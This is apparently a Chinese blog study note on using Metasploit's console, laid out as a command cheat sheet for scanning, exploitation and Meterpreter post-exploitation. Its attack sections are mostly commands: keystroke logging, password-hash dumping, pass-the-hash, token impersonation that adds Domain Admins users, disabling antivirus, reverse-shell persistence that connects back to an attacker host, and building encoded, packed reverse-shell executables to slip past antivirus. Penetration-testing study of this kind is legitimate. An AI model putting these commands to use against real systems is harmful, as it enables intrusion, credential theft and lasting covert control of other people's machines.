安全笔记:渗透|Metasploit的MSF终端——基础使用(未完全修改)

目录

基础

使用指南

接口

功能程序

基础功能

载荷配置

攻击方式

msfvenom

附属功能

数据库

nexpose

nessus

自建脚本

常用模块介绍

情报搜集——扫描模块

渗透攻击

后渗透攻击(Meterpreter)

免杀技术

相关知识


基础

使用指南

情报搜集:通常使用信息探测等方式获取目标主机的信息,信息探测分为主动信息探测和被动信息探测,常用工具包括nmap,其通常不使用Metasploit或在Metasploit中引入使用nmap。

漏洞扫描:通常使用Nexpose和Nessus等工具对目标主机进行漏洞扫描,其可直接使用这些工具或在Metasploit中引入使用。

渗透攻击:根据挖掘到的漏洞使用对应的渗透代码和挂载相关可以使用的攻击载荷。

后渗透攻击:使用Metasploit中的后渗透攻击模块,其最常用的工具为Meterpreter。

综上所述,Metasploit主要使用的方向是渗透攻击和后渗透攻击。

接口

【图形模式】armitage界面打开方式:终端中输入msfdb init,再输入armitage。

【命令模式】MSF终端打开方式:终端输入msfconsole

功能程序

1、MSF攻击载荷生成器->集成在msfvenom

2、MSF编码器->集成在msfvenom

3、Nasm shell->在找到的路径下命令行:./nasm_shell.rb

基础功能

命令 功能
help [命令]/[命令] -h 查看帮助

exit

退出
load [工具名称] 导入某工具(例如nexpose、nessus等)
back 回退上一步

载荷配置

载荷配置名称不一定要大写,但这是个好习惯

载荷名称 意义
LHOST 本地主机
RHOSTS 目标机
RPORT 目标端口
TARGET 目标系统类型(用标记符号/数字)
THREADS 扫描线程数(加快扫描速度)
PASS_FILE 暴力猜解的字典文件
USERNAME 用户登录的用户名
SMBPass 设置哈希值

攻击方式

  • ./msfconsole -x "use [漏洞];set RHOST [IP]; set PAYLOAD [后门];set LHOST [IP];run"
  • rc脚本

脚本内容:

use [漏洞]

set RHOST [IP]

set PAYLOAD [后门]

set LHOST [IP]

run

命令行:./msfconsole -r [路径/脚本名.rc]

  • 使用msfvenom

msfvenom

 

msfvenom -p [载荷] --payload-options 列出某攻击载荷的配置

msfvenom -l encoders 列出编码器


附属功能

数据库

  • 启动

命令行:/etc/init.d/postgresql start

msf:db_connect postgres:toor@[IP]/msf

  • 常用命令
命令 功能
db_status 查看连接状态
db_import [文件] 导入某文件//.xml、.nessus
db_hosts [命令] 查看数据库中数据
db_nmap [命令] 在数据库中使用nmap
service [命令] 服务命令
db_vulns 查看导入漏洞详情

nexpose

  • 导入

load nexpose 导入nexpose

  • 常用命令
命令 功能
nexpose_connect -h 查看nexpose连接所需参数
nexpose_connect [用户名]:[密码]@[IP] ok 连接到nexpose
nexpose_scan [IP] 扫描IP地址

nessus

  • 导入

load nessus 导入nessus

  • 常用命令
命令 功能
nessus_connect [用户名]:[密码]@localhost:8834 ok 连接nessus,通过https://localhost:8834/
nessus_policy_list 查看服务器上已经定义的扫描策略
nessus_help 查看Nessus桥插件支持的所有命令
nessus_scan_new [ID号] [任务名字] [目标IP] 新建扫描任务
nessus_scan_launch [ID号] 手动启动扫描
nessus_scan_list 查看扫描任务的运行状态
nessus_db_import [ID号] 将扫描报告导入数据库中

自建脚本

编写rc文件

外部脚本位置:scripts/[子目录]/……


常用模块介绍

情报搜集——扫描模块

模块 功能
auxiliary/scanner/ip/ipidseq 寻找满足TCP空闲扫描要求的空闲主机
auxiliary/scanner/portscan/syn syn端口扫描//查看开放的端口
auxiliary/scanner/smb/smb_version 判断windows版本
auxiliary/scanner/mssql/mssql_ping UDP协议扫描所有的MS SQL服务器信息
auxiliary/scanner/ssh/ssh_version 扫描ssh版本
auxilary/scanner/ftp/ftp_version 扫描ftp版本
auxilary/scanner/ftp/anonymous 查看ftp服务器是否允许匿名用户登录
auxiliary/scanner/snmp/snmp_enum 扫描snmp
auxiliary/scanner/snmp/snmp_login snmp登陆器(可以通过猜解登陆)
auxiliary/scanner/vnc/vnc_none_auth VNC空口令(VNC已经更新,不容易扫描到肉鸡)
auxiliary/scanner/x11/open_x11 扫描x11服务器

渗透攻击

工具:MSF终端(msfconsole)、MSF编码器(msfencode)、MSF攻击载荷生成器(msfpayload)

理论:攻击载荷(payload)是系统被攻陷后执行的操作。通常攻击载荷附加于漏洞攻击模块之上,随漏洞攻击一起分发。

show exploits 显示所有渗透攻击模块

show auxiliary 显示所有辅助模块

info [模块] 显示模块详细信息//在当前模块下可以直接用info

search [关键字] 查找关键字

search [关键字] 查找关键字

use [模块] 使用某一工具

show targets 显示当前模块可以影响的目标系统类型

show payloads 显示与当前模块兼容的攻击载荷

set payload [载荷] 设置载荷

show options 查看应该配置的选项

set [选项] [参数] 配置选项

unset [选项] 禁用选项

setg [选项] [参数] 设置全局变量

unsetg [选项] 清楚全局变量

run 运行

save 保存当前设置值,下次启动时还可以使用

exploit 攻击

sessions -l 查看远程运行的meterpreter情况

sessions -l -v 查看多台远程运行的meterpreter情况

sessions -i -[序号] 与某序号的控制会话进行交互

shell 进入目标系统的交互命令行shell中

exploit -[参数]

resource [文件名].rc 载入某rc资源文件(需在当前目录下启动msfconsole或输入路径)

msfconsole -r [文件名].rc 运行某rc文件


后渗透攻击(Meterpreter)

--获取信息--

screenshot 截屏

sysinfo 获取系统运行的平台

ps 获取目标系统正在运行的进程

migrate [序号] 迁移会话到某序号的进程中

run post/windows/capture/keylog_recorder 启用windows的键盘记录

--挖掘用户名和密码--

use priv 运行在特权账号

run post/windows/gather/hashdump 获取目标用户名和密码哈希值

--哈希传递--

use windows/smb/psexec

之后设置参数(包括哈希值参数)发起攻击就行

--提权——准备--

在目标windows上:

net user [用户名] [密码] /add 添加新账号

创建Meterpreter控制台:

使用某攻击载荷

exploit 发起攻击

getuid 得到控制台

shell 进入shell

--提权——获取管理员或SYSTEM权限--

use priv 加载priv扩展

getsystem 尝试提权

getuid 检查获取的权限等级(若为NT AUTHORIY|SYSTEM则成功)

--令牌假冒--

1、管理员令牌

ps 列举当前运行的应用程序以及运行这些应用的用户账号

steal_token [PID] 假冒某PID登陆的管理员账号

2、所有可用令牌

use incognito

list_tokens -u 列举令牌

impersonate_token [令牌名] 扮演某令牌(假若令牌中含\,应在该命令中使用\\代替\)

add_user [用户名] [密码] -h [IP] 添加用户并将其假如到目的IP地址

add_group_user "Domain Admins" omgcompromised -h [IP] 赋予域管理员权限

--跳板攻击--

利用当前攻陷的主机作为跳板去攻击网络中的其他系统(局域网内攻击,已经攻陷的主机和目标机都应该用内网IP地址)。

run get_local_subnets 展示受控系统上的本地子网

background 将攻击会话放到后台运行

route add [接口地址] [网络掩码] [会话ID]  添加路由命令,设置接口地址和接口网络掩码,设置会话ID

//load auto_add_route 自动化添加路由

route print 显示当前活跃的路由设置

--迁徙进程--

若通过某服务进行漏洞利用,目标主机关闭该进程,则连接也将丢失,故需要迁徙进程,将会话转移到内存空间中

run post/windows/manage/migrate

--关闭杀软--

run killav

--获取系统密码哈希值--

run hashdump

--查看目标机上的所有流量--

run packetrecorder -i -1

--攫取系统信息--

run scraper

--控制持久化--

persistence脚本允许注入Meterpreter代理,以确保系统重启之后Meterpreter还能运行。如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方式,可以设置在指定时间绑定开放端口。注意:完成该功能之后要进行移除。如果没有移除,任何攻击者无须认证都可以获取系统的访问权。

run persistence -X -i [秒数] -p [端口] -r [目标IP]  -X 自启动 -i 多少秒重连依次 -p 使用端口 -r 连接的目的IP

use multi/handler

back

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LPORT [端口]

set LHOST [目标IP]

exploit

删除Meterpreter代理方法:

删除HKLM\Software\Microsoft\Windows\CurrentVersion\Run\中的 注册表键和C:\WINDOWS\TEMP中的VBScript文件。(注意:注册表中的键每次都会改变,所以要在Metasploit添加注册表键的时候做好记录)

--列举后渗透攻击模块--

run post/  点击TAB后回车

--将命令行shell升级为Meterpreter--

sessions -u [参数]  将shell升级到Meterpreter

--使用附加的Railgun组件操作WindowsAPI--

irb

--使用脚本--

run [脚本]

常用脚本:

vnc  在远程系统上安装vnc会话

screen  运行查看屏幕

screen_unlock  解锁目标桌面

--其他操作--

ctrl+z 推出shell并保留Meterpreter会话


免杀技术

--使用MSF攻击载荷生成器创建可独立运行的二进制文件--

msfvenom -p windows/shell_reverse_tcp --payload-options

msfvenom -p windows/shell_reverse_tcp LHOST=[目标IP地址] LPORT=[目标端口] -f exe -o [文件名].exe

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

show options

set LHOST [目标IP地址]

set LPORT [目标端口]

--使用MSF编码器--

msfvenom -l encoders  列出所有可用的编码格式

msfvenom -p [攻击载荷模块] LHOST=[目标IP地址] LPORT=[目标端口] -e [MSF编码器] -f exe -o [输出文件名].exe

可以多次使用MSF编码器对其进行编码,msfvenom中常用命令包括-i [次数]和 | (连接)。

msfvenom -x [模板文件]使用Windows可执行程序来代替默认模板文件。

msfvenom -k 配置攻击载荷在一个独立的线程中启动,不影响宿主程序执行(不一定能用于所有可执行文件)

--使用加壳软件--

加壳软件是一类能够对可执行文件进行加密压缩并将解压代码嵌入其中地工具。当加过壳的文件被执行时,解压代码会从已压缩的数据中重建原始程序并运行。

upx是Kali Linux中一款加壳软件。

--Metasploit Pro动态载荷实现免杀--

等我买得起这个软件再说吧。


相关知识

1、windows系统存储哈希值一般为LAN Manager(LM)、NT LAN Manager(NTLM)、NTLAN Manager(NTLMv2)。

你可能感兴趣的:(安全笔记:渗透)